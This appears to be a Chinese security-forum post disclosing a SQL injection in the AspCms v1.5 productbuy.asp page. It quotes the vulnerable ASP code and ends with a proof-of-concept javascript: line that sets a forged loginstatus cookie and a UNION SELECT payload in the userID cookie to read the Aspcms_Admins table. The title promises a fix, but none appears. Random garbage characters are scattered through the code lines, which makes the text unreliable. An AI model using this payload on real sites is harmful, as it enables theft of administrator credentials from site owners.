AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
; e  Z* g$ _+ [/ m( F5 k也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
废话不多说，看代码：

1 v& n9 r3 s( ?: B<%

if action = "buy" then

7 y0 d. ?% ?1 w, F# \. @        addOrder()
% ]* ^% f& a& ?0 a' K( i: R7 b- K
2 ]6 l+ a* z! j1 ?else
8 ]) y0 t% X7 |3 o  L6 }4 E
7 J% ~! c" H$ D/ D        echoContent()
3 x8 k7 E) f8 Q+ o8 d! q6 I
. c0 F, J& k0 send if
2 W: e1 e: x5 M3 Z

4 }/ ?/ A- s; J8 ?7 p
……略过



Sub echoContent()
! o! p  u: X) f# H" B4 [
: W* V' ]+ f) o. m5 `, t" S        dim id
- ~% e# x0 @2 l: W% `2 t) _
        id=getForm("id","get")
" a7 v- T/ D( k: K" {5 t* }
: R7 Y. b2 L% y" }+ K+ M4 ^- w        

        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"

1 E. o/ T7 m1 V. y9 P9 ^        
9 T) J1 M, Y, t7 B) W2 L
3 D- G  B( B+ j1 w+ H+ n% i        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

: H+ j) h( F' g" r- J6 g        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct

2 m) Z8 @; n4 D+ s        Dim templatePath,tempStr
3 C. _8 A6 Q  |. c( g
& h& Q9 K1 \7 A/ k) s4 q        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
3 r1 U7 Q: {8 `- |3 H  p$ b4 C
  R; b2 B8 M3 j  y) D' ]  s
) W9 g) f/ X! h. u- Q) L
1 k$ Y0 k# V# q$ Y- I- h2 b. [  u        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
* w7 C3 r9 }1 ~6 t
9 v. E: r# C" @. c! U        selectproduct=rsObj(0)

: f9 ^/ J  l% ]! N7 x        
6 G+ |* _+ V8 X6 }& h" S$ T, a/ c
        Dim linkman,gender,phone,mobile,email,qq,address,postcode

        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
. w3 m- g0 a# \  v5 e7 a1 M
        if rCookie("loginstatus")=1 then  

8 z; U2 x; }7 {  o                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
  a# c1 \; a7 {
# `# o# Y; g5 v& Z% {3 d                linkman=rsObj("truename")

                gender=rsObj("gender")
9 m; R4 N8 {) q+ a* p) n9 l
                phone=rsObj("phone")
9 `4 N# B4 Y) U. J
+ w* Q- L! U% Z! A                mobile=rsObj("mobile")
/ v/ V5 J& i2 W3 ?3 x4 d
# p! k5 @& I* p                email=rsObj("email")
5 [3 Z7 _  M# k- G' L* ]
                qq=rsObj("qq")

$ U) Q7 n/ ]# x4 m0 P$ x                address=rsObj("address")

+ t( k- m; L- O! V$ J+ b                postcode=rsObj("postcode")

9 i! I0 ?" }* l0 [7 {+ I        else
. Z2 ^7 J* n: ~
& T! ?! `. \6 Y) W+ b) F. ?                gender=1

        end if

; O9 p3 Z; N% g" y) K        rsObj.close()
5 w8 Y9 ^$ i6 N; c+ u  `" w' m* M1 P
               
/ J1 `6 r+ ?( K' ?/ B
1 j* M  f" o8 P  f* A% ]        with templateObj

                .content=loadFile(templatePath)        
. s8 s) f7 {  X/ T' S. }
                .parseHtml()

                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)

                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               

6 S( X1 n) e( }0 s  k0 p$ G                .content=replaceStr(.content,"[aspcms:gender]",gender)               
( e$ ?0 k2 _. X; q2 [; e
2 z2 K, d7 t* Z5 {6 E) D                .content=replaceStr(.content,"[aspcms:phone]",phone)               

                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

                .content=replaceStr(.content,"[aspcms:email]",email)                        

                .content=replaceStr(.content,"[aspcms:qq]",qq)                        

! p$ N, g6 ?) `9 ^                .content=replaceStr(.content,"[aspcms:address]",address)                        

" O: q' X7 _- V4 i  }                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
! f6 m, A! u7 v1 x; t4 O$ i  h
                .parseCommon()                 
' l- ^/ a, J4 K. v9 e
                echo .content
  ]. w( }* q5 ]0 u3 h( X" Y; X+ ^
" G1 `! i1 c! w1 U* G( A: z        end with
: ]% |7 \" M8 k3 ?" T  c* w
/ d9 _2 D& L# v1 d        set templateobj =nothing : terminateAllObjects
* E( x3 k6 Q0 \
! h9 s# P5 E+ k, W( S! P, J1 eEnd Sub
. h4 a9 ]0 g# y  I4 b2 g漏洞很明显，没啥好说的
7 i8 S, A+ O. v7 I9 C; K5 w7 W4 apoc：
. @+ A' z. l" x" q* }8 a+ S* E
3 S" s$ y' L8 c5 b. Hjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​